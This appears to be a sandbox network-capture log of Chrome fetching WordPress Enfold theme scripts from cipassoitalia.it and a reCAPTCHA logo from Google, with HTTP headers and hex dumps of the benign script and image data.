2025-01-09 12:19:26 UTC	16384	IN	Data Raw: 70 b3 54 8c eb 08 24 f7 41 44 96 d1 95 6a be cc 00 3a c6 67 89 70 d9 45 4a 4f 74 00 24 9c c1 a9 ca da 33 86 be f7 8b 6b a8 c6 33 b0 d3 b8 74 6c a9 30 3b 87 0a 41 95 1c b8 ee 23 98 3c 64 11 91 0b 0b fa c6 c5 0b 56 02 9a 20 f9 e8 93 3b f9 72 ff 00 5b 80 9e ac 36 3f 0f 34 4e 33 65 ab 2a 94 80 29 91 43 c5 6a 1a d4 82 76 6a 8e 15 8d c5 f0 1e 2d 2e 74 b3 de 61 31 09 ee e7 24 82 b4 f7 46 8a 96 b0 e0 04 4d 62 16 18 3a 5f c4 2b 16 7b e1 3f e3 17 d5 4e e4 f5 37 b5 fd 27 ee 5d 7e 3c e7 c9 ce fc 36 ed 46 05 96 6c bd 3a 3b 19 09 f3 09 25 33 11 46 e4 70 ce ac a0 82 17 cf 5e dd f0 77 e2 27 69 78 9f 1d 47 07 e3 3c 45 78 ec 2a c2 52 d8 8f 14 c6 24 24 27 38 29 19 5a 8d 97 cd 8d 3b f1 0b b1 9d 90 e2 dc 0f 8c f1 cc 1f 67 e4 61 a7 a3 01 88 c7 4a 9d c3 47 e9 54 8c 54 89 45 48 Data Ascii: pT$ADj:gpEJOt$3k3tl0;A#<dV ;r[6?4N3e)Cjvj-.ta1$FMb:_+{?N7']~<6Fl:;%3Fp^w'ixG<ExR$$'8)Z;gaJGTTEH
2025-01-09 12:19:26 UTC	16384	IN	Data Raw: c6 9d 54 c4 d9 0e bf 2e 36 51 f5 59 2c 3a f2 ec 6c ae 2f c0 f8 ff 00 18 c6 70 fc 0c d9 b8 44 4b 13 90 80 42 13 89 96 b9 7d ec dc 30 51 56 64 f7 73 d0 92 e4 0f 99 d2 54 d1 f6 0e 01 58 2f 8a 7f 0a 7b 3d 80 e3 d3 70 98 ac 72 f0 d8 89 09 c6 61 a6 cb 5f 11 e1 18 ec 1e 31 28 c2 e2 26 ca 96 55 3b f4 f3 f0 e3 bc 9e 12 85 12 94 a8 10 09 8e c3 fa 0b eb cf 65 7c 4c f6 6e 2f ab dd 8d 9f 8f 97 a5 f7 34 8f 98 31 a3 92 33 91 81 2b 30 46 c2 cb 40 db 92 5c 7d 8a ad b8 8e 49 00 9a 23 af 1d e0 5c 7e 67 6a b8 97 1b e2 58 99 0a e1 fc 57 fd d2 72 e7 70 d5 24 2e 6c a2 12 99 72 e5 2e 65 55 44 a7 32 14 0f 74 b0 a3 95 4a 22 3c ef b6 9d 90 9d d8 21 c2 f8 04 e9 aa c6 70 d9 7c 36 54 ac 27 11 00 99 58 99 65 4a 99 33 11 2d 4c ea cc a5 64 52 47 89 25 3e 24 8d 67 e3 12 33 e3 ff 00 2d 8b Data Ascii: T.6QY,:l/pDKB}0QVdsTX/{=pra_1(&U;e\|Ln/413+0F@\}I#\~gjXWrp$.lr.eUD2tJ"<!p\|6T'XeJ3-LdRG%>$g3-
2025-01-09 12:19:26 UTC	16384	IN	Data Raw: 8b af 3d 30 5c 75 10 a3 e6 20 78 ba fd bf e9 7d 1e 06 b3 a6 c7 f1 fc c6 a4 8d b7 e2 ec 02 7d 88 f2 28 73 cf df da ba 50 d4 a8 25 f9 b4 60 30 55 05 48 3c fb f2 09 f7 e3 a5 1c 51 72 f0 1b 32 9e 78 1c d1 3e 05 dd 7f c6 c7 4a 39 18 06 c9 fc b4 68 58 ff 00 53 f6 1f fc bf 7e 94 28 c5 f9 34 78 ff 00 be 3a 50 a0 0e 94 28 3d a6 29 39 a9 40 1b 1e 49 fb 11 c8 fd 47 07 f5 aa e4 f4 c5 d8 75 fc 18 74 bf fa 83 cb ee 61 d2 f4 69 01 bb e2 fd b8 24 df 16 7f 4f d7 9e 85 13 54 09 04 0d 60 48 d7 6a 8b 20 db 79 a3 55 fe 60 49 02 b8 17 c7 27 fa 74 a1 a9 49 0e ed 1b 30 06 f6 95 6a 27 6a a1 b0 d5 e6 85 9e 7e fc fd ba 50 f8 da 35 6d c2 e8 86 07 e8 e6 ac 8f 37 f7 17 40 57 fc fa 50 a2 5c f4 3c ba fa 87 a4 91 40 91 30 52 45 8b 64 04 6e 17 54 03 57 9f bf b7 4c 5a 48 93 39 45 88 52 6d Data Ascii: =0\u x}}(sP%`0UH<Qr2x>J9hXS~(4x:P(=)9@IGutai$OT`Hj yU`I'tI0j'j~P5m7@WP\<@0REdnTWLZH9ERm
2025-01-09 12:19:26 UTC	16384	IN	Data Raw: 9e 3f 29 b8 de 26 46 37 b4 dc 53 1b 84 98 26 61 71 38 fc 44 ec 3c c4 f7 80 2d 2b 9c 4e 71 de 00 58 f2 a5 77 8b b7 db 90 33 69 18 bb 64 2e 02 a3 16 54 b2 ac 76 28 b5 5f ab 82 48 fb 91 f6 b1 d5 7c c2 73 aa a6 fa 1e 43 d9 8b ac ab 5c b4 92 4b 91 43 ad db e8 18 1b 50 1a c4 47 ea 06 a9 89 a7 6b fa 5c ba ae 60 c7 c2 83 52 43 be 60 55 55 23 82 c9 a3 66 96 89 ae 7f 6e 87 c4 12 a9 d2 25 4b 96 92 56 99 0b ca 13 75 2b 29 61 c9 e9 56 04 53 61 1e a7 f0 2f b4 3c 03 b3 1f 10 70 bc 4f b4 3c 4a 47 0a c0 a2 5a 56 67 e2 94 12 81 91 68 24 a9 45 b2 a4 33 bb 52 ac f6 33 cf c4 97 af 1d b5 dd 9d ab 83 da fa 1f a8 52 ea ba 16 36 83 db ed 87 a2 8c cc b3 a6 c5 9b 0e 1c 10 ca d1 62 4d 14 31 06 59 37 90 22 0d 1a b3 bb 2d 16 6a f2 ce c5 f6 73 1f 81 c4 4f c4 e3 30 5d d4 f4 63 27 94 4e Data Ascii: ?)&F7S&aq8D<-+NqXw3id.Tv(_H\|sC\KCPGk\`RC`UU#fn%KVu+)aVSa/<pO<JGZVgh$E3R3R6bM1Y7"-jsO0]c'N
2025-01-09 12:19:26 UTC	16384	IN	Data Raw: bc 6e 0a 0c 60 79 36 3a 8b 30 82 0b 29 88 07 7f d9 bc ff 00 c8 32 12 80 f9 f5 d5 a8 06 fc f5 d0 42 97 c8 42 26 36 76 ef 60 05 16 fa 94 8b 5a da 18 10 68 ee 22 8d 11 7e fd 47 50 19 41 70 4b d4 83 ef 97 48 7a 47 8c e5 24 8c ae e6 a2 e2 9d 75 b8 b5 8d e1 07 39 3e 73 9f 9b 23 29 50 55 9d e3 20 2a 03 4b e0 03 c8 e0 10 3c f9 e8 c0 3e a0 75 f7 ef 94 3c ab 28 f1 1a f2 db e9 05 74 dc 64 96 67 7d ea ee 18 08 ca f0 c8 b1 d0 04 9f a8 28 a7 37 63 cd 71 d7 54 42 52 05 da ae 2b a9 14 84 8f 1a b3 0b 1a 07 bb d2 2c af 60 e9 e3 6c 26 ad 5f 82 16 26 62 76 95 01 de ac 78 f1 ed c9 3d 67 b1 eb 4d f4 19 8b 72 05 fe df 9d 62 76 5c b2 c0 1a 01 60 2b f8 f3 e5 16 c3 b5 fb 6c 49 3c 32 0f ae 46 43 f4 ec fe 55 ee dd 18 70 bc ad 42 41 1c 1e 78 af be 53 19 88 a9 0e 52 1c 50 16 2f 56 7a Data Ascii: n`y6:0)2BB&6v`Zh"~GPApKHzG$u9>s#)PU *K<>u<(tdg}(7cqTBR+,`l&_&bvx=gMrbv\`+lI<2FCUpBAxSRP/Vz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.16	49817	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:26 UTC	670	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact/contact.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:26 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:26 GMT Content-Type: text/javascript Content-Length: 7813 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:26 UTC	7813	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 63 6f 6e 74 61 63 74 20 66 6f 72 6d 20 61 6a 61 78 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 0a 09 24 2e 66 6e 2e 61 76 69 61 5f 61 6a 61 78 5f 66 6f 72 6d 20 3d 20 66 75 6e 63 74 Data Ascii: // -------------------------------------------------------------------------------------------// contact form ajax// -------------------------------------------------------------------------------------------(function($){$.fn.avia_ajax_form = funct

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.16	49816	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:26 UTC	674	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:26 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:26 GMT Content-Type: text/javascript Content-Length: 31458 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:26 UTC	16107	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 41 76 69 61 20 53 6c 69 64 65 73 68 6f 77 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Avia Slideshow======================================================================================
2025-01-09 12:19:26 UTC	15351	IN	Data Raw: 09 63 75 72 72 65 6e 74 09 09 09 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 68 69 73 2e 24 73 6c 69 64 65 72 55 6c 2e 68 65 69 67 68 74 28 29 29 2c 0a 09 09 09 09 72 61 74 69 6f 09 09 09 3d 20 73 6c 69 64 65 2e 64 61 74 61 28 27 76 69 64 65 6f 2d 72 61 74 69 6f 27 29 2c 0a 09 09 09 09 73 65 74 54 6f 20 20 20 09 09 3d 20 72 61 74 69 6f 20 3f 20 74 68 69 73 2e 24 73 6c 69 64 65 72 55 6c 2e 77 69 64 74 68 28 29 20 2f 20 72 61 74 69 6f 20 3a 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 73 6c 69 64 65 2e 68 65 69 67 68 74 28 29 29 2c 0a 09 09 09 09 76 69 64 65 6f 5f 68 65 69 67 68 74 20 09 3d 20 73 6c 69 64 65 2e 64 61 74 61 28 27 76 69 64 65 6f 2d 68 65 69 67 68 74 27 29 2c 20 2f 2f 66 6f 72 63 65 64 20 76 69 64 65 6f 20 68 65 69 67 68 74 20 25 2e 20 6e 65 65 64 73 20 Data Ascii: current= Math.floor(this.$sliderUl.height()),ratio= slide.data('video-ratio'),setTo = ratio ? this.$sliderUl.width() / ratio : Math.floor(slide.height()),video_height = slide.data('video-height'), //forced video height %. needs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.16	49818	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:26 UTC	674	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/countdown/countdown.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:26 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:26 GMT Content-Type: text/javascript Content-Length: 2939 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:26 UTC	2939	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 0a 2f 2f 20 41 56 49 41 20 43 6f 75 6e 74 64 6f 77 6e 0a 2f 2f 20 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 09 76 61 72 20 5f Data Ascii: // -------------------------------------------------------------------------------------------// // AVIA Countdown// // -------------------------------------------------------------------------------------------(function($){ "use strict";var _

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.16	49824	142.250.185.68	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:26 UTC	715	OUT	GET /recaptcha/about/images/reCAPTCHA-logo@2x.png HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:27 UTC	778	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/recaptcha Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="recaptcha" Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Content-Length: 18160 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 09 Jan 2025 11:40:20 GMT Expires: Thu, 09 Jan 2025 12:30:20 GMT Cache-Control: public, max-age=3000 Age: 2346 Last-Modified: Wed, 29 Jul 2020 17:15:00 GMT Content-Type: image/png Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-09 12:19:27 UTC	612	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 98 00 00 01 d0 08 06 00 00 00 9c 30 7c 54 00 00 46 b7 49 44 41 54 78 da ec 9d 5b 6c 5c 47 19 c7 47 71 5b 01 6a cb 03 2d a8 d9 99 b3 be a4 b5 89 51 aa 62 89 e4 cc cc 3a de 3d 9b 4b 9b 36 40 23 4b 50 de 00 55 08 21 28 42 26 21 e5 c1 69 bc 17 97 ab a0 8a 6a 10 42 bd 24 3e 67 f6 ec da 25 14 28 0d 75 02 0f 48 08 54 a4 92 aa e4 a1 94 92 50 35 71 13 db bb 67 77 bd 89 bd cc d9 d8 84 48 ae 62 3b de 62 ef f9 ff a4 bf 66 bd 96 fc 64 9d 9f e6 fb be 33 43 00 00 00 00 b0 42 f4 f7 57 d7 59 df cd 6f 8c a7 bc 87 63 e9 d2 3e 6b a0 f0 4d 24 78 89 0e 4c ec df fa e8 78 22 f2 ad 7f ff 40 f6 9d 3e c4 fb 4e ff 5c c7 16 7d 6f 3e 27 fa ce fc 5a ec 3d f3 62 64 ef 5b 63 91 fd 67 8f 77 ec 39 7e 94 f2 e1 0c 13 ea b0 21 9d a7 0c Data Ascii: PNGIHDR0\|TFIDATx[l\GGq[j-Qb:=K6@#KPU!(B&!ijB$>g%(uHTP5qgwHb;bfd3CBWYoc>kM$xLx"@>N\}o>'Z=bd[cgw9~!
2025-01-09 12:19:27 UTC	1390	IN	Data Raw: af 32 d3 dd d1 12 55 ed d4 54 ef 27 00 80 d5 df 8f f1 25 63 f9 92 49 43 32 c8 bb 08 e6 c1 13 57 04 53 f7 a8 ab 76 3f ec bf e2 c9 4d 50 91 7b 5b 7f f7 37 26 ec 17 b4 74 9e 08 0b f5 85 70 c4 fe f8 86 88 ba 9d 00 00 56 e3 4e 46 35 f5 a4 4a cd ba 16 ff 1d 2b 35 3d 6e 25 bd c0 3f 54 91 b9 24 97 2e 98 fa 8b 47 4b 87 bb 15 26 b3 05 2d 9e f3 fa bb 33 3a 27 28 b7 87 18 b7 bf dc 12 cd dd 7d 9b f8 d9 2d 04 00 b0 7a 76 32 b1 83 13 6d b1 54 e1 fb 56 aa 52 84 64 90 5a 92 de 0a 08 a6 fe e2 61 7e 8f 47 8e 78 7a bd 10 e2 ea 4d fd fd 4b 54 b8 07 98 50 bb 9b b7 0c 37 13 00 c0 ea e8 c9 58 e9 e2 68 3c 7d d1 83 64 90 9a 60 0e 4e 55 3b 3e 7d 7c 5e 30 6b 23 22 53 31 e4 c8 94 5e cf 69 d1 bc c2 b8 33 4c fd 72 9a 39 7c 4f 73 cf d8 fb 08 00 e0 ff 53 2e 8b 3e 56 b9 3b fe 78 79 34 9e Data Ascii: 2UT'%cIC2WSv?MP{[7&tpVNF5J+5=n%?T$.GK&-3:'(}-zv2mTVRdZa~GxzMKTP7Xh<}d`NU;>}\|^0k#"S1^i3Lr9\|OsS.>V;xy4
2025-01-09 12:19:27 UTC	1390	IN	Data Raw: 1c c7 eb a1 05 b5 50 2f 22 24 33 bb c9 f6 66 11 c1 1e da 9d d9 6d b3 ef 4d a3 a9 88 62 0d 68 11 73 2b ea ad 08 4a f1 90 25 ec bc 97 58 4f 95 1e 8a 27 2d 68 f6 cd 26 22 82 7f ea 41 14 a4 28 f1 4f 63 d3 d2 7a 10 5b 28 36 91 98 ec ee bc 9d cd a6 19 67 77 b3 61 b5 08 ad 79 49 76 77 be 1f f8 5e e7 f8 3e bc f9 fe de 7b c8 5d 24 62 4e 96 75 23 7b 3e 7a 50 c4 db fa b7 58 b0 73 e9 8e 8b cb 0d b9 40 30 40 a9 64 68 26 3f 44 79 e9 37 82 5d 4c 8b 0a e6 b3 d0 2f e6 2d 9b e4 c4 b2 66 e4 ae 44 8d ec 91 76 94 4b 57 fc ac a1 19 ce 74 a3 73 81 60 80 32 06 d3 33 3b fa 32 c5 21 62 97 7e 21 4c 56 42 bf a0 b7 a8 60 62 10 4c 6b c7 74 aa bd cc 5c 4f d2 39 a1 c5 c5 bd 6d d3 b9 90 da ce e5 92 b6 ba 73 81 60 80 42 b9 f8 3b a9 5d 3c 61 71 ef 77 ca dd 95 d0 2f e6 10 0c b2 9e 98 a2 fa Data Ascii: P/"$3fmMbhs+J%XO'-h&"A(Ocz[(6gwayIvw^>{]$bNu#{>zPXs@0@dh&?Dy7]L/-fDvKWts`23;2!b~!LVB`bLkt\O9ms`B;]<aqw/
2025-01-09 12:19:27 UTC	1390	IN	Data Raw: 44 40 08 11 51 54 b5 bc 20 a8 2a fa 00 02 2a f5 01 26 b1 cf 99 49 82 80 52 2e 02 a9 05 71 49 76 67 d7 01 04 08 68 41 a8 20 48 69 10 f0 82 40 50 89 a2 f0 40 44 c1 8e e7 ba 8e ed e9 99 43 56 aa 2a 23 bc f6 da 3b 76 fe 3f e9 af 5d c9 6f 5e ef f9 f9 fb be 73 ce b4 4a d6 1a 1b f0 af d9 e0 36 3e 64 6e 82 05 15 99 4a 30 a8 60 10 08 06 b4 0e 13 fe 6a ea c4 bb 98 88 27 a8 08 b0 a0 22 53 b5 c8 50 c1 20 10 0c 68 8d b2 9d 9e 40 79 f0 7b ca a3 af a5 64 b0 98 22 68 91 21 10 0c 68 0f 4c 84 9b a9 93 bc c7 1c b4 c6 10 08 06 81 60 40 9b a0 83 f1 0a 4b 84 8f 51 11 1d c2 75 30 08 04 83 40 30 a0 2d 6c 7a e0 b3 63 ca 83 fe 6f 98 93 7c c1 d0 1a 43 20 18 04 82 01 ed 82 39 e1 c5 54 24 2f 61 ee 82 40 30 08 04 03 da 38 d8 1f 3e 85 89 70 2b 13 c9 41 9c 79 41 a6 2b 98 73 af 78 35 25 Data Ascii: D@QT *&IR.qIvghA Hi@P@DCV#;v?]o^sJ6>dnJ0`j'"SP h@y{d"h!hL`@KQu0@0-lzco\|C 9T$/a@08>p+AyA+sx5%
2025-01-09 12:19:27 UTC	1390	IN	Data Raw: cd 76 59 5e 04 43 07 46 a8 12 cc 22 20 7b f4 73 b6 cb 0c 5b 99 21 18 30 0d 2e 77 e2 95 59 0b 86 89 70 02 5b 93 3b 1c 11 1e 96 4b f2 26 e5 e1 45 5b bc 96 17 65 d5 2e a3 4e fc 76 53 32 39 98 c1 48 c1 f8 8b 45 30 4d c9 1c 47 f4 ea 63 78 c0 19 04 03 7e 00 53 8c 5e 65 39 c9 fb 18 ee 77 5e 2e 6a e6 c2 a3 ba 65 27 67 17 6c bb ab 30 23 9a 33 99 b8 39 93 e9 74 05 13 98 5b 47 98 12 cc 22 62 6d b6 95 d9 a8 ed 94 99 84 64 20 18 30 05 e5 87 d2 13 28 f7 ef 66 3c c2 70 bf 93 11 91 8a 29 82 3f 96 ed d1 d3 0b b3 47 b5 cb 4c 1e be 65 b9 87 d4 4c a6 a3 82 e1 81 12 cc 62 dc 7d 49 8a 95 3b 88 51 1b c7 36 66 08 06 fc 1f 8c 07 6b 2c 11 0d 51 07 cf db ef e4 7f f9 b2 d2 98 90 ef ef 2f db c3 a7 b4 f5 f3 bd 47 49 a6 39 93 81 60 e6 08 4d af dc a6 19 f5 31 9c fc 87 60 c0 61 d2 34 5d Data Ascii: vY^CF" {s[!0.wYp[;K&E[e.NvS29HE0MGcx~S^e9w^.je'gl0#39t[G"bmd 0(f<p)?GLeLb}I;Q6fk,Q/GI9`M1`a4]
2025-01-09 12:19:27 UTC	1390	IN	Data Raw: e7 49 5d 97 1d a9 60 9a 46 0a 46 cb e5 1d 25 97 ca 0f dd 7d 90 0b 04 93 5e f4 10 1d f5 9a ef 63 b9 65 82 c1 3e 0f 6a d1 87 54 07 fb 29 c5 7e 3e 0a fe 03 9d c9 9c 8c 60 28 13 77 9b 26 98 ae 05 3a 73 d9 85 cc 05 82 49 3d c4 11 8b a9 d7 f8 02 82 49 ee 8d 17 ca e4 06 aa 1f 10 4b 37 77 3e df ce 64 5a 13 10 cc 24 72 e9 1b 46 e6 02 c1 98 b1 9e bf c0 c4 43 94 05 fb 21 98 24 aa 97 20 b4 59 50 25 83 ad 52 8f 9a 35 ca 18 00 8d 32 19 47 7c 79 5c c9 44 95 9d 16 4c c3 18 c1 64 73 95 59 c8 5c 20 18 63 b8 8b 87 17 13 b7 ee 10 2e 6b 68 51 4e 26 7b a1 4c 8e 50 16 5e 62 58 ae a7 24 53 d7 99 cc e4 82 91 4d e2 89 c5 5a 30 06 04 fa dd f9 ca 77 c8 5c 20 18 63 b8 7d b0 7a 3d 71 e5 3a ec 1f 8b fd b4 ff d0 ab d4 6d 14 75 f5 62 18 0b d7 2a c9 b8 62 3b f5 c6 5b 93 5c 91 8d 1f 11 4c Data Ascii: I]`FF%}^ce>jT)~>`(w&:sI=IK7w>dZ$rFC!$ YP%R52G\|y\DLdsY\ c.khQN&{LP^bX$SMZ0w\ c}z=q:mub*b;[\L
2025-01-09 12:19:27 UTC	1390	IN	Data Raw: 99 f8 88 e4 ca 6b 1b 67 6f ba f2 84 00 d0 73 81 08 98 4c 86 4a 39 45 a2 74 ed 88 28 21 60 cc b9 07 59 74 d0 53 d1 b7 c6 78 04 82 00 d2 b0 2c d6 98 67 41 cf 05 22 60 cc 41 f4 85 4b 45 5f ec 18 02 c6 a4 5b f4 57 84 7b c5 8a e8 b2 b2 1d 58 a2 9c 9e 4b 91 35 ea b9 04 11 2e 30 ae d5 c9 06 ac 0e f6 81 00 78 67 30 91 c5 14 2e 1d 58 a2 6c ce 23 92 29 ac 3b 45 5f 48 8c 3f f6 17 a4 57 b8 c4 7b 2e 08 17 38 6a 06 73 95 5e 37 09 80 37 60 fa 57 88 52 f8 37 04 8c 39 4b 94 45 29 f6 5d 49 65 78 a6 00 d2 2a 5c d0 73 81 e3 04 4c c8 e6 54 3f 11 00 6f c0 84 5f 15 bd d1 93 08 18 93 1a fc 52 74 27 95 c8 a6 0a 20 3d c2 a5 38 30 c7 52 20 ff 8a 70 81 e3 04 4c 38 cb a9 79 05 c0 07 0d 8a ab c8 53 